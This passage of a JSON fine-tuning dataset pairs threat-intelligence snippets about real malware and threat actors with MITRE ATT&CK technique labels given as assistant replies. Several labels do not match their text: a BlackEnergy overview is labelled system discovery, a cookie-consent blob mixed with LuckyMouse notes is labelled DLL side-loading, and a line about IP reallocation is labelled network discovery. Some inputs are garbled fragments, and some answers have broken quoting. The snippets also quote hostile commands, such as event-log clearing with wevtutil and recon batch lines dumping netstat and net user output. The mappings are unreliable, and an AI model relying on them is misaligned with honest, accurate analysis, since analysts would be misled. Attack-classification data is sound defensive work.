    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects hard drive content and system configuration information."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses Base64 encoding for C2 traffic."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used CMSTP.exe and a malicious INF to execute its  payload."
            },
            {
                "role": "assistant",
                "content": "T1218.003 - Signed Binary Proxy Execution: CMSTP"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Initially, cybercriminals used BlackEnergy custom plugins for launching DDoS attacks. BlackEnergy2 was eventually seen downloading more crimeware plugins – a custom spam plugin and a banking information stealer custom plugin. While another crimeware group continues to use BlackEnergy to launch DDoS attacks, the BE2 APT appears to have used this tool exclusively throughout 2014 at victim sites and included custom plugins and scripts of their own. To be clear, our name for this actor has been the BE2 APT, while it has been called “Sandworm Team” also"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rocke used scripts which killed processes and added firewall rules to block traffic related to other cryptominers."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN10 has relied on publicly-available software to gain footholds and establish persistence in victim environments."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This DLL is used for decrypting and executing another JavaScript backdoor such as Orz. The DLL is registered by the installer using regsvr32. If the string “DR” is passed as an argument, or if the DLL is running in the active session with a username that is not “system”, the final JavaScript backdoor is decoded using a custom base64 alphabet. This backdoor has to be present in the same directory as the dll, with a “.tmp” file extension. The backdoor script is then executed using the IActiveScript and IActiveScriptParse32 COM interfaces"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Throughout 2017 and 2018 Unit 42 has been tracking and observing a series of highly targeted attacks focused in South East Asia, building on our research into the KHRAT Trojan. Based on the evidence, these attacks appear to be conducted by the same set of attackers using previously unknown malware families. In addition, these attacks appear to be highly targeted in their distribution of the malware used, as well as the targets chosen. We believe this group is previously unidentified and therefore have we have dubbed it “RANCOR”. The Rancor group’s attacks use two primary malware families which we describe in depth later in this blog and are naming DDKONG and PLAINTEE. DDKONG is used throughout the campaign and PLAINTEE appears to be new addition to these attackers’ toolkit. Countries Unit 42 has identified as targeted by Rancor with these malware families include, but are not limited to"
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic', 'T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HermeticWizard has the ability to use `wevtutil cl system` to clear event logs."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal on Host: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "First observed by Microsoft on Jan. 13, 2022, WhisperGate malware is computer network attack (CNA) malware aimed at deleting Microsoft Windows Defender and corrupting files on the target. It consists of two samples: One appears as ransomware while the other is a beaconing implant used to deliver an in-memory Microsoft Intermediate Language (MSIL) payload. At the time of writing, there are two known samples identified as WhisperGate: Stage1.exe and Stage2.exe. Stage1.exe purports to be ransomware, as it overwrites the target’s master boot record with 512 bytes and upon reboot displays the following ransom note"
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ComRAT can load a PE file from memory or the file system and execute it with \"CreateProcessW\"."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once Shellex is called, it first passes each of the items in the config buffer to their own strings. Next, it creates a mutex using the filename and checks to see if the Service key for the service name exists. If so, it opens it using service manager. If not, it first saves a copy of itself to %Program Files (x86)%/DIFXE/svchost.exe. Next, it creates the service and runs it"
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry', 'T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MoonWind can execute commands via an interactive command shell."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Wizard Spider has used WMI to identify anti-virus products installed on a victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Crutch can use Dropbox to receive commands and upload stolen data."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Usually, after infection the bot sends a ‘PING’ message, ‘SYSTEM INFO’ message and ‘ASK for COMMAND’ message, and the C2 replies with ‘ACK’ and ‘COMMAND’ messages. If additional modules were pushed by the C2, the bot sends a ‘STOLEN INFO’ message containing data stolen by the modules"
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Note that IP addresses can be reallocated"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The  malware platform can use ICMP to communicate between infected computers."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Okrum can collect computer name, locale information, and information about the OS and architecture."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 has used Dropbox, Amazon S3, and Google Drive to host malicious downloads."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chaes can steal login credentials and stored financial information from the browser."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This static set of characteristics, combined with the minimal use of obfuscation in their phishing attacks, may benefit organizations that are potential targets for IRON TILDEN.ToolsTaegis™ XDR Adversary Software Coverage Tool"
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operation Wocao has used stolen credentials to connect to the victim's network via VPN."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SoreFang can gain access by exploiting a Sangfor SSL VPN vulnerability that allows for the placement and delivery of malicious update binaries."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Clop can search for processes with antivirus and antimalware product names."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BendyBear can check for analysis environments and signs of debugging using the Windows API \"kernel32!GetTickCountKernel32\" call."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The magic value 0xFEEDFACF that belongs to Mach-O Executable (64 bit) Methods GET_LAUNCHNAME and GET_LABELNAME will return the hardcoded name of the property list “.plist” for the root user (com.apple.screen.assistantd.plist) and for the regular user (com.apple.spell.agent.plist)"
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Orz can gather the victim OS version and whether it is 64 or 32 bit."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mimikatz's `CRYPTO` module can create and export various types of authentication certificates."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "From these web shells, they launched reconnaissance commands, stole data, and dropped additional tools including portqry.exe, renamed cmd.exe, winrar, and the notorious hTran"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TEARDROP is a memory only dropper that runs as a service, spawns a thread and reads from the file “gracious_truth.jpg”, which likely has a fake JPG header. Next it checks that HKU\\SOFTWARE\\Microsoft\\CTF exists, decodes an embedded payload using a custom rolling XOR algorithm and manually loads into memory an embedded payload using a custom PE-like file format. TEARDROP does not have code overlap with any previously seen malware"
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Multiple trojanzied updates were digitally signed from March - May 2020 and posted to the SolarWinds updates website, including"
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When running under a limited UAC account, the installer extracts d3d9.dll and creates a persistence key under HKCU\\Software\\Microsoft\\Windows\\Run"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BEACON payloads have commonly been executed after moving laterally to new hosts within the victim network. The attackers have employed Cobalt Strike payloads crafted to maintain persistence through reboot via a scheduled task on critical systems in victim environments. In at least once case, attackers have maintained access to a victim environment using stolen credentials to access corporate VPN infrastructure configured to require only single-factor authentication"
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AppleSeed has the ability to execute its payload via PowerShell."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Consent - Details - [#IABV2SETTINGS#] - About This website uses cookies . We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you’ve provided to them or that they’ve collected from your use of their services. This is beneficial for the website, in order to make valid reports on the use of their website.Expiry: PersistentType: HTMLrc::cThis cookie is used to distinguish between humans and bots. Expiry: SessionType: HTMLKaspersky Lab2Learn more about this providertest [x2]Used to detect if the visitor has accepted the marketing category in the cookie banner. This is used in context with the email marketing service Marketo.com, which allows the website to target visitors via email. Kaspersky Lab products detect the different artifacts used in this campaign with the following verdicts: Trojan.Win32.Generic, Trojan-Downloader.Win32.Upatre and Backdoor.Win32.HyperBro. Due to tools and tactics in use we attribute the campaign to LuckyMouse Chinese-speaking actor (also known as EmissaryPanda and APT27). Also the C2 domain update.iaacstudio[.]com was previously used in their campaigns. Regarding Metasploit’s shikata_ga_nai encoder – although it’s available for everyone and couldn’t be the basis for attribution, we know this encoder has been used by LuckyMouse previously. Even when we observed LuckyMouse using weaponized documents with CVE-2017-11882 (Microsoft Office Equation Editor, widely used by Chinese-speaking actors since December 2017), we can´t prove they were related to this particular attack. The main C2 used in this campaign is bbs.sonypsps[.]com, which resolved to IP-address, that belongs to the Ukrainian ISP network, held by a Mikrotik router using firmware version 6.34.4 (from March 2016) with SMBv1 on board"
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Otherwise, it will add the binary’s path to the Software\\Microsoft\\Windows\\CurrentVersion\\Run key with —Update as a parameter"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We determined this by following the process in which the TwoFace++ loader webshell uses the actor provided password to authenticate and decrypt the embedded webshell:  Append a string to the password that acts as a salt Obtain the SHA1 hash of the resulting string containing the password and salt Base64 encode the SHA1 hash Compare the encoded hash with hardcoded base64 string If the encoded hash matches hardcoded base64 string then the inbound request is authenticated Generates the SHA256 hash of the password string Base64 encodes the SHA256 hash and uses the first 24 characters as a key Uses 24-character key and the 3DES cipher to decrypt the embedded webshell  Now let’s look at how this works with the values in the TwoFace++ loader sample"
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel', 'T1140 - Deobfuscate/Decode Files or Information', 'T1027 - Obfuscated Files or Information', 'T1550.002 - Use Alternate Authentication Material: Pass the Hash', 'T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike can deliver Beacon payloads for lateral movement by leveraging remote COM execution."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Amavis analyzes the e-mail attachments and inspects the contents of the attached archive. It invokes cpio and CVE-2015-1197 is triggered."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment', 'T1546 - Event Triggered Execution', 'T1588.006 - Vulnerabilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This shortcut file calls the built-in ‘control.exe’ utility to in turn load the previously dropped malicious CPL file of ‘winhelp.cpl’"
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group extensively uses long-running strategic web compromises[2] (SWCs), and relies on whitelists to deliver payloads to select victims. In comparison to other threat groups, TG-3390 is notable for its tendency to compromise Microsoft Exchange servers using a custom backdoor and credential logger"
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using this example, Comnie will then request data to supply to the BAT script, via the following decrypted request: h=HOSTNAME-PC&f=gethostinfo.bat&c=& Based on network traffic witnessed, the remote C2 server was found to respond with the following information:       netstat -ano > %TEMP%\\info.datipconfig /all >> %TEMP%\\info.datroute PRINT >> %TEMP%\\info.datnet view >> %TEMP%\\info.dattasklist >> %TEMP%\\info.datnet user >> %TEMP%\\info.datnet start >> %TEMP%\\info.dat       This script is written to a temporary file prior to be executed"
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor conducts mass-scanning and uses tools, such as Nmap, to identify open ports. Once the open ports are identified, the threat actor exploits CVEs related to VPN infrastructure to gain initial access to a targeted network. CISA and the FBI have observed the threat actor exploiting multiple CVEs, including CVE-2019-11510, CVE-2019-11539, CVE-2019-19781, and CVE-2020-5902"
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Nefilim uses the following  ‘timeout’ command to delay the execution of the ‘del’ command. Adversaries use this command also to evade sandbox analysis. C:\\Windows\\System32\\cmd.exe\" /c timeout /t 3 /nobreak\""
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A  .dll that contains  is loaded and executed using DLL side-loading."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WarzoneRAT can use `sdclt.exe` to bypass UAC in Windows 10 to escalate privileges; for older Windows versions WarzoneRAT can use the IFileOperation exploit to bypass the UAC module."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The RTF file contains macro codes that will execute a PowerShell command to retrieve a dynamic-link library (DLL) file before executing it using odbcconf.exe, a command-line utility related to Microsoft Data Access Components. The DLL will drop and execute a malicious JScript using regsvr32.exe, another command-line utility, to download another JScript and execute it using the same regsvr32.exe. During analysis, we received a PowerShell command that downloads Cobalt Strike from hxxps://5[.]135[.]237[.]216[/]RLxF"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell', 'T1218.010 - Signed Binary Proxy Execution: Regsvr32', 'T1218.008 - Signed Binary Proxy Execution: Odbcconf"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bankshot searches for certain Registry keys to be configured before executing the payload."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SysUpdate can load DLLs through vulnerable legitimate executables."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "attempted to get users to launch malicious attachments delivered via spearphishing emails."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Besides of fetching a list of scanning targets, Xbash will also request C2 server via URI “/p” to fetch a list of weak passwords for brute forcing"
            },
            {
                "role": "assistant",
                "content": "T1110.001 - Brute Force: Password Guessing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Aoqin Dragon has run scripts to identify file formats including Microsoft Word."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tropic Trooper has used known administrator account credentials to execute the backdoor directly."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "compresses collected files with both the GZipStream class and a simple character replacement scheme before sending them to its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "splits data into chunks up to 23 bytes and sends the data in DNS queries to its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NETWIRE can inject code into system processes including notepad.exe, svchost.exe, and vbc.exe."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When neither of the previous commands are received, the message is taken as a command to be executed with cmd.exe. The output is sent to the server."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter', 'T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bankshot marks files to be deleted upon the next system reboot and uninstalls and removes itself from the system."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Since the original publication of this approach, Proofpoint researchers have observed a number of actors -- “early adopters” -- abusing this file format by embedding it inside Microsoft Word and PDF documents. While the combination of the technique with the Microsoft Word container was described in the initial research, embedding inside PDFs has not been documented and likely originated with another source"
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link', 'T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RTM can obtain the victim username and permissions."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If the mutex does not exist and a Windows Startup Registry key with name “System Update” does not exist, the malware performs its initialization routine by:  Copying itself to the path %PROGRAMDATA%\\svchost.exe Sets the Windows Startup Registry key with the name “System Update” which points to the above dropped payload"
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
